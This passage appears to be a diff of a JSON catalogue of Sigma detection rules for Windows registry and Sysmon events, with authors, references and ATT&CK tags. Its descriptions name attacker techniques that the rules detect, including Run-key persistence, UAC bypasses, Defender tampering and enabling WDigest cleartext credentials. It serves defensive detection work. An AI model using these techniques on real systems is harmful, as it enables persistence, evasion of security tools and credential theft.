"Legitimate admin script" - ], - "filename": "registry_set_set_nopolicies_user.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_set_nopolicies_user.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "1c3121ed-041b-4d97-a075-07f54f20fb4a", - "value": "Registry Explorer Policy Modification" - }, - { - "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/30", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_shim_databases_persistence.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_shim_databases_persistence.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-3---registry-key-creation-andor-modification-events-for-sdb", - "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html" - ], - "tags": [ - "attack.persistence", - "attack.t1546.011" - ] - }, - "uuid": "dfb5b4e8-91d0-4291-b40a-e3b0d3942c45", - "value": "Registry Key Creation or Modification for Shim DataBase" - }, - { - "description": "Detects changes to the Registry in which a monitor program gets registered to monitor the exit of another process", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/02/26", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_silentprocessexit.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_silentprocessexit.yml", - "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/" - ], - "tags": [ - "attack.persistence", - "attack.t1546.012" - ] - }, - "uuid": "c81fe886-cac0-4913-a511-2822d72ff505", - "value": "SilentProcessExit Monitor Registration" - }, - { - "description": "Detects when an attacker register a new SIP provider for persistence and defense evasion", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/21", - "falsepositive": [ - "Legitimate SIP being registered by the OS or different software." - ], - "filename": "registry_set_sip_persistence.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sip_persistence.yml", - "https://github.com/gtworek/PSBits/tree/master/SIP", - "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf", - "https://persistence-info.github.io/Data/codesigning.html" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.t1553.003" - ] - }, - "uuid": "5a2b21ee-6aaa-4234-ac9d-59a59edf90a1", - "value": "Persistence Via New SIP Provider" - }, - { - "description": "Detects tamper attempts to sophos av functionality via registry key modification", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/02", - "falsepositive": [ - "Some FP may occure when the feature is disabled by the AV itself, you should always investigate if the action was legitimate" - ], - "filename": "registry_set_sophos_av_tamaper.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sophos_av_tamaper.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "9f4662ac-17ca-43aa-8f12-5d7b989d0101", - "value": "Tamper With Sophos AV Registry Keys" - }, - { - "description": "Detects when an attacker set the registry key \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Userlist\" to \"0\" in order to hide user account.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/12", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_special_accounts.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_special_accounts.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.002" - ] - }, - "uuid": "f8aebc67-a56d-4ec9-9fbe-7b0e8b7b4efd", - "value": "Hide User Account Via Special Accounts Reg Key" - }, - { - "description": "Detect set UseActionCenterExperience to 0 to disable the windows security center notification", - "meta": { - "author": "frack113", - "creation_date": "2022/08/19", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_suppress_defender_notifications.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_suppress_defender_notifications.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "0c93308a-3f1b-40a9-b649-57ea1a1c1d63", - "value": "Disable Windows Security Center Notifications" - }, - { - "description": "Detects changes to the \"Default\" property for keys located in the \\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\ registry. Which might be used as a method of persistence\nThe entries found under App Paths are used primarily for the following purposes.\nFirst, to map an application's executable file name to that file's fully qualified path.\nSecond, to pre-pend information to the PATH environment variable on a per-application, per-process basis.\n", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/10", - "falsepositive": [ - "Legitimate applications registering their binary from on of the suspicious locations mentioned above (tune it)" - ], - "filename": "registry_set_susp_app_paths_persistence.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/", - "https://docs.microsoft.com/en-us/windows/win32/shell/app-registration?redirectedfrom=MSDN", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_app_paths_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.012" - ] - }, - "uuid": "707e097c-e20f-4f67-8807-1f72ff4500d6", - "value": "Suspicious Values In App Paths Default Property" - }, - { - "description": "Detects the keyboard preload installation with a suspicious keyboard layout, e.g. Chinese, Iranian or Vietnamese layout load in user session on systems maintained by US staff only", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/10/12", - "falsepositive": [ - "Administrators or users that actually use the selected keyboard layouts (heavily depends on the organisation's user base)" - ], - "filename": "registry_set_susp_keyboard_layout_load.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SwiftOnSecurity/sysmon-config/pull/92/files", - "https://renenyffenegger.ch/notes/Windows/registry/tree/HKEY_CURRENT_USER/Keyboard-Layout/Preload/index", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_keyboard_layout_load.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1588.002" - ] - }, - "uuid": "34aa0252-6039-40ff-951f-939fd6ce47d8", - "value": "Suspicious Keyboard Layout Load" - }, - { - "description": "Detects a suspicious printer driver installation with an empty Manufacturer value", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/07/01", - "falsepositive": [ - "Alerts on legitimate printer drivers that do not set any more details in the Manufacturer value" - ], - "filename": "registry_set_susp_printer_driver.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_printer_driver.yml", - "https://twitter.com/SBousseaden/status/1410545674773467140" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1574", - "cve.2021.1675" - ] - }, - "uuid": "e0813366-0407-449a-9869-a2db1119dc41", - "value": "Suspicious Printer Driver Empty Manufacturer" - }, - { - "description": "Detects a possible persistence mechanism using RUN key for Windows Explorer and pointing to a suspicious folder", - "meta": { - "author": "Florian Roth, oscd.community", - "creation_date": "2018/07/18", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_susp_reg_persist_explorer_run.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_reg_persist_explorer_run.yml", - "https://researchcenter.paloaltonetworks.com/2018/07/unit42-upatre-continues-evolve-new-anti-analysis-techniques/" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "b7916c2a-fa2f-4795-9477-32b731f70f11", - "value": "Registry Persistence via Explorer Run Key" - }, - { - "description": "Detects suspicious new RUN key element pointing to an executable in a suspicious folder", - "meta": { - "author": "Florian Roth, Markus Neis, Sander Wiebing", - "creation_date": "2018/08/25", - "falsepositive": [ - "Software using weird folders for updates" - ], - "filename": "registry_set_susp_run_key_img_folder.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_run_key_img_folder.yml", - "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "02ee49e2-e294-4d0f-9278-f5b3212fc588", - "value": "New RUN Key Pointing to Suspicious Folder" - }, - { - "description": "Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders.\nBoth services are used in the tool Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU (https://github.com/hfiref0x/KDU)\n", - "meta": { - "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", - "creation_date": "2019/04/08", - "falsepositive": [ - "Other legimate tools using this service names and drivers. Note - clever attackers may easily bypass this detection by just renaming the services. Therefore just Medium-level and don't rely on it." - ], - "filename": "registry_set_susp_service_installed.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_service_installed.yml" - ], - "tags": [ - "attack.t1562.001", - "attack.defense_evasion" - ] - }, - "uuid": "f2485272-a156-4773-82d7-1d178bc4905b", - "value": "Suspicious Service Installed" - }, - { - "description": "Detect modification of the startup key to a path where a payload could be stored to be launched during startup", - "meta": { - "author": "frack113", - "creation_date": "2022/10/01", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_susp_user_shell_folders.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1547.001/T1547.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_user_shell_folders.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1547.001" - ] - }, - "uuid": "9c226817-8dc9-46c2-a58d-66655aafd7dc", - "value": "Modify User Shell Folders Startup Value" - }, - { - "description": "Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered by a process that is not svchost.exe, which is suspicious", - "meta": { - "author": "Syed Hasan (@syedhasan009)", - "creation_date": "2021/06/18", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_taskcache_entry.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_taskcache_entry.yml", - "https://labs.f-secure.com/blog/scheduled-task-tampering/" - ], - "tags": [ - "attack.persistence", - "attack.t1053", - "attack.t1053.005" - ] - }, - "uuid": "4720b7df-40c3-48fd-bbdf-fd4b3c464f0d", - "value": "Scheduled TaskCache Change by Uncommon Program" - }, - { - "description": "Detects persistence method using windows telemetry", - "meta": { - "author": "Lednyov Alexey, oscd.community", - "creation_date": "2020/10/16", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_telemetry_persistence.yml", - "level": "critical", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_telemetry_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1053.005" - ] - }, - "uuid": "73a883d0-0348-4be4-a8d8-51031c2564f8", - "value": "Registry Persistence Mechanism via Windows Telemetry" - }, - { - "description": "Detects tampering to RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc", - "meta": { - "author": "Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali", - "creation_date": "2022/09/29", - "falsepositive": [ - "Some of the keys mentioned here could be modified by an administrator while setting group policy (it should be investigated either way)" - ], - "filename": "registry_set_terminal_server_suspicious.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190407183310.html", - "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_suspicious.yml", - "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", - "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", - "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", - "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services", - "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1112" - ] - }, - "uuid": "a2863fbc-d5cb-48d5-83fb-d976d4b1743b", - "value": "RDP Sensitive Settings Changed" - }, - { - "description": "Detects tampering to RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc", - "meta": { - "author": "Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali", - "creation_date": "2022/08/06", - "falsepositive": [ - "Some of the keys mentioned here could be modified by an administrator while setting group policy (it should be investigated either way)" - ], - "filename": "registry_set_terminal_server_tampering.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190407183310.html", - "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", - "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", - "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", - "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", - "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_tampering.yml", - "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1112" - ] - }, - "uuid": "3f6b7b62-61aa-45db-96bd-9c31b36b653c", - "value": "RDP Sensitive Settings Changed" - }, - { - "description": "Detects processes setting a new DLL in DllName in under HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProvider.\nAdversaries may abuse time providers to execute DLLs when the system boots.\nThe Windows Time service (W32Time) enables time synchronization across and within domains.\n", - "meta": { - "author": "frack113", - "creation_date": "2022/06/19", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_timeproviders_dllname.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.003/T1547.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_timeproviders_dllname.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1547.003" - ] - }, - "uuid": "e88a6ddc-74f7-463b-9b26-f69fc0d2ce85", - "value": "Set TimeProviders DllName" - }, - { - "description": "Detect modification of TreatAs key to enable \"rundll32.exe -sta\" command", - "meta": { - "author": "frack113", - "creation_date": "2022/08/28", - "falsepositive": [ - "Legitimate use" - ], - "filename": "registry_set_treatas_persistence.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml", - "https://www.youtube.com/watch?v=3gz1QmiMhss&t=1251s", - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md" - ], - "tags": [ - "attack.persistence", - "attack.t1546.015" - ] - }, - "uuid": "dc5c24af-6995-49b2-86eb-a9ff62199e82", - "value": "COM Hijacking via TreatAs" - }, - { - "description": "Detects UAC bypass method using Windows event viewer", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/19", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_uac_bypass_eventvwr.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_eventvwr.yml", - "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", - "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002", - "car.2019-04-001" - ] - }, - "uuid": "7c81fec3-1c1d-43b0-996a-46753041b1b6", - "value": "UAC Bypass via Event Viewer" - }, - { - "description": "Detects the pattern of UAC Bypass using registry key manipulation of sdclt.exe (e.g. UACMe 53)", - "meta": { - "author": "Omer Yampel, Christian Burkard", - "creation_date": "2017/03/17", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_uac_bypass_sdclt.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_sdclt.yml", - "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/", - "https://github.com/hfiref0x/UACME" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002", - "car.2019-04-001" - ] - }, - "uuid": "5b872a46-3b90-45c1-8419-f675db8053aa", - "value": "UAC Bypass via Sdclt" - }, - { - "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_uac_bypass_winsat.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_winsat.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "6597be7b-ac61-4ac8-bef4-d3ec88174853", - "value": "UAC Bypass Abusing Winsat Path Parsing - Registry" - }, - { - "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_uac_bypass_wmp.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_wmp.yml", - "https://github.com/hfiref0x/UACME" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "5f9db380-ea57-4d1e-beab-8a2d33397e93", - "value": "UAC Bypass Using Windows Media Player - Registry" - }, - { - "description": "Detects VBScript content stored into registry keys as seen being used by UNC2452 group", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/03/05", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_vbs_payload_stored.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_vbs_payload_stored.yml", - "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "46490193-1b22-4c29-bdd6-5bf63907216f", - "value": "VBScript Payload Stored in Registry" - }, - { - "description": "This rule detects that the path to the DLL written in the registry is different from the default one. Launched WAB.exe tries to load the DLL from Registry.", - "meta": { - "author": "oscd.community, Natalia Shornikova", - "creation_date": "2020/10/13", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_wab_dllpath_reg_change.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wab_dllpath_reg_change.yml", - "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OSBinaries/Wab.yml", - "https://twitter.com/Hexacorn/status/991447379864932352" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "fc014922-5def-4da9-a0fc-28c973f41bfb", - "value": "Execution DLL of Choice Using WAB.EXE" - }, - { - "description": "Detects potential malicious modification of the property value of UseLogonCredential from HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to enable clear-text credentials", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2019/09/12", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_wdigest_enable_uselogoncredential.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", - "https://support.microsoft.com/en-us/topic/microsoft-security-advisory-update-to-improve-credentials-protection-and-management-may-13-2014-93434251-04ac-b7f3-52aa-9f951c14b649", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wdigest_enable_uselogoncredential.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "d6a9b252-c666-4de6-8806-5561bbbd3bdc", - "value": "Wdigest Enable UseLogonCredential" - }, - { - "description": "Detects when attackers or tools disable Windows Defender functionalities via the windows registry", - "meta": { - "author": "AlertIQ, Ján Trenčanský, frack113, Nasreddine Bencherchali", - "creation_date": "2022/08/01", - "falsepositive": [ - "Administrator actions" - ], - "filename": "registry_set_windows_defender_tamper.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.WindowsDefender::SpyNetReporting", - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_windows_defender_tamper.yml", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "0eb46774-f1ab-4a74-8238-1155855f2263", - "value": "Disable Windows Defender Functionalities Via Registry Keys" - }, - { - "description": "Detects when the 'AllowMultipleTSSessions' value is enabled.\nWhich allows for multiple Remote Desktop connection sessions to be opened at once.\nThis is often used by attacker as a way to connect to an RDP session without disconnecting the other users\n", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/09", - "falsepositive": [ - "Legitmate use of the multi session functionality" - ], - "filename": "registry_set_winlogon_allow_multiple_tssessions.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winlogon_allow_multiple_tssessions.yml" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "f7997770-92c3-4ec9-b112-774c4ef96f96", - "value": "Winlogon AllowMultipleTSSessions Enable" - }, - { - "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in.\nWinlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/30", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_winlogon_notify_key.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md#atomic-test-3---winlogon-notify-key-logon-persistence---powershell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winlogon_notify_key.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.004" - ] - }, - "uuid": "bbf59793-6efb-4fa1-95ca-a7d288e52c88", - "value": "Winlogon Notify Key Logon Persistence" - }, - { - "description": "Detects when an attacker adds a new \"DLLPathOverride\" value to the \"Natural Language\" key in order to achieve persistence which will get invoked by \"SearchIndexer.exe\" process", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/21", - "falsepositive": [ - "Unknown" - ], - "filename": "regsitry_set_natural_language_persistence.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://persistence-info.github.io/Data/naturallanguage6.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/regsitry_set_natural_language_persistence.yml", - "https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "a1b1fd53-9c4a-444c-bae0-34a330fc7aa8", - "value": "Add DLLPathOverride Entry For Persistence" - }, - { - "description": "Detects Accessing to lsass.exe by Powershell", - "meta": { - "author": "oscd.community, Natalia Shornikova", - "creation_date": "2020/10/06", - "falsepositive": [ - "Unknown" - ], - "filename": "sysmon_accessing_winapi_in_powershell_credentials_dumping.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_accessing_winapi_in_powershell_credentials_dumping.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "3f07b9d1-2082-4c56-9277-613a621983cc", - "value": "Accessing WinAPI in PowerShell for Credentials Dumping" - }, - { - "description": "Detects a Sysmon configuration change, which could be the result of a legitimate reconfiguration or someone trying manipulate the configuration", - "meta": { - "author": "frack113", - "creation_date": "2022/01/12", - "falsepositive": [ - "Legitimate administrative action" - ], - "filename": "sysmon_config_modification.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "8ac03a65-6c84-4116-acad-dc1558ff7a77", - "value": "Sysmon Configuration Change" - }, - { - "description": "Detects when an adversary is trying to hide it's action from Sysmon logging based on error messages", - "meta": { - "author": "frack113", - "creation_date": "2021/06/04", - "falsepositive": [ - "Legitimate administrative action" - ], - "filename": "sysmon_config_modification_error.yml", - "level": "high", - "logsource.category": "sysmon_error", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_error.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564" - ] - }, - "uuid": "815cd91b-7dbc-4247-841a-d7dd1392b0a8", - "value": "Sysmon Configuration Error" - 